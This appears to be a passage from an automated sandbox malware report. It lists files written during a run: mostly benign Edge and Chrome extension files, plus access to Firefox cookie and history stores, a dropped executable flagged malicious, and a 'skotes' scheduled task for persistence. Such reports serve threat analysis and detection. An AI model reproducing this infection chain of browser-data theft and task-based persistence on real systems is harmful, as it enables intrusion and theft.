Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir4976_90379307\051439e5-c4a4-4cbe-aa7b-9be2e5ce164b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir4976_90379307\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir4976_90379307\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir4976_90379307\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir4976_90379307\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsFBGIDHCAAK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.952040329967331
Encrypted:	false
SSDEEP:	49152:ZFRd69fbHOJGslqB1ja07WkIWLHMP4fVaN9MoVoWZSw:29TuJ/l8G07WkIWL+4QS4
MD5:	F1D8B74CC714267516F750BEB7E3439E
SHA1:	DAD2568821BC466E1FF3C63E27409BF4504B6B47
SHA-256:	18F61BF8547CAFC9F30BFE9C68289DC575ACC48D9C0BCBF77CD5168FED92CA4A
SHA-512:	3CBAE8BF40B8B94319764ABFD643240641DD3ACCECAEC756A50B566B23C12533862595B2AA0BBBB9B8E6387BDA067DFC05A118C16CCE94BAD1B09F9DF8EC488B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L.....d.....@.................................W...k.......D.....................K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...pcmamdpe.@....1..4..................@...tewptuka......K......*..............@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsFBGIDHCAAK.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4453490699464555
Encrypted:	false
SSDEEP:	6:dO7RztXUhXUEZ+lX1CGdKUe6tE9+AQy0lB/l/qt0:dczZ4Q1CGAFD9+nVB/0t0
MD5:	398BC7E12ED1D4C5186D27B3B6C6F6DB
SHA1:	0E4C11465D0883C66F5109D3882E4D10B74C110A
SHA-256:	AAEAB8400812BA82F5FBF39EBC7342C8B8616D2EE8888364D3BB9B891C9528D9
SHA-512:	4472308D32E9E55BA7BC345BF2FA8B6B4C69042F7646ACF38358574A0F89A3641F9EC18365720CD51B5E7CD313A52DE7211A3CAD87C1B9071F1ED48C9B7C8945
Malicious:	false
Preview:	........PO.b.L..`4F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................!.@3P.........................

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (765)
Category:	downloaded
Size (bytes):	770
Entropy (8bit):	5.16317790853863
Encrypted:	false
SSDEEP:	24:ooLJLjg5jKTH5gQBHslgT9lCuABuoB7HHHHHHHYqmffffffo:oSlLLtKlgZ01BuSEqmffffffo
MD5:	14AD0593F7FA4D1A315748E310C2E0A0
SHA1:	7113BB0C78A9E98D72BC4792ADDBCC671D098F9D
SHA-256:	63FF3EAAFBBED76EA32014D26CFB12AE842171DB06D3DCE5043D3F977A4D4EFC
SHA-512:	9EB0B9CD6715E5289BBD296300640AAEF056F4FBF3F2E7865FA78644083381FF03BD7CDA5BFD08B8060E7F6B3E879B26E4C7DA95BEC9BF4D5AF9458879CA2276
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["season four from","deals black friday","pga tour card","kodak pension plan","thanksgiving winter storm forecast snow","canadian pacific holiday train michigan","chill guy memes","spacex falcon 9 rocket launch"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 511

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
